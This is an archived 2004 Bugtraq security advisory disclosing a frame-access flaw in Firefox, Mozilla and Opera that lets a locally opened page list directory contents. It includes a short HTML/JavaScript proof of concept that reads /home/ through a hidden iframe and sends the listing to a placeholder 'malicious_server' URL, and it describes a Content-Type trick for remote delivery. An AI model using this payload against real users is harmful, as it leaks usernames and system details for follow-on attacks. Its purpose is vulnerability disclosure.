

Disclosure of file system information in Mozilla Firefox and Opera Browser:

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2004-12/0002.html>

From: Giovanni Delvecchio (*badpenguin79_at_hotmail.com*)

Date: 12/01/04

To: bugtraq@securityfocus.com

Date: Wed, 01 Dec 2004 16:15:25 +0000

Title: Disclosure of file system information in Mozilla Firefox and Opera Browser

Note:

I don't know if it could be considered really a security problem, anyway i'll try to explain my ideas.
Sorry for my bad english.

Author: Giovanni Delvecchio

Bug: Disclosure of file system information

Applications affected:

- Firefox 1.0
- Mozilla 1.7
- Opera 7.54 (*)

(maybe also previous versions)

Tested versions:

- Firefox 1.0 on Linux and Windows
- Mozilla 1.7 on Windows
- Opera 7.51,..7.54 on Linux

Note:

The content of this advisory could be applied also to other browsers, i have checked just Mozilla, Firefox,Opera and Microsoft Internet Explorer. Microsoft Internet Explorer seems not to be affected.

Bug Description:

=====

A problem exist in some browsers where a frame can gain access to attributes of another frame or iframe.

SecurityFocus Bugtraq: Disclosure of file system information in Mozilla Firefox and Opera Browser:

An application of this bug could be the possibility to disclose local directory structure.

PoC:

====

----- begin code.htm -----

```
<html>
```

```
<body onLoad="
```

```
list_files="";
for(i=0;i<local_files.document.links.length;i++)
    {list_files+=local_files.document.links.item(i);}
alert(list_files);
//send list_files at malicious_server
```

```
document.location.href='http://malicious_server/grab.php?list='+list_files;
```

```
">
```

```
<iframe name="local_files" src="file:///home/" height=0
width=0></iframe>
```

```
</body>
```

```
</html>
```

----- end of code.htm -----

Impact:

=====

A malicious server could obtain the content of /home/ directory (or c:\Document and Setting\ for windows system) and so know a set of usernames present on system target.

Moreover, could be possible know if a particular program is installed on target system for a successive attack.

Anyway it cannot be exploited "directly" by a remote site, but only if the page is opened from a local path (file://localpath/code.htm), since the iframe "local_files" belongs to a local domain.

Note: with Internet Explorer code.htm doesn't work even in local.

Possible Remote Exploitation:

=====

Question:

How could a malicious remote user exploit it ?

SecurityFocus Bugtraq: Disclosure of file system information in Mozilla Firefox and Opera Browser:

Answer:

After that the user "victim" has required http://malicious_server/code.htm, if malicious_server responds with a page containing an unknown Content-Type field (for example text/html. ,note the dot) ,the browser will show a dialog window with some options (open, save, cancel). Choosing "Open" to view this page, it will be downloaded and opened in local ; javascript code will be executed in local context.

Obviously, if user chooses to save and after open it the result is equal.

(*) For Opera this method of remote exploitation requires that opera must be setted as Default Application in "handler for saved files" whether the user choose "Open" in the dialog window.

Solution:

=====

No solution at the moment

Vendor notice

=====

24th November 2004: I have contacted mozilla by security@mozilla.org and Opera by its bug track page at <https://bugs.opera.com/wizard/>

No response from both at the moment.

Best regards,

Giovanni Delvecchio

Personalizza MSN Messenger con sfondi e fotografie!

<http://www.ilovemessenger.msn.it/>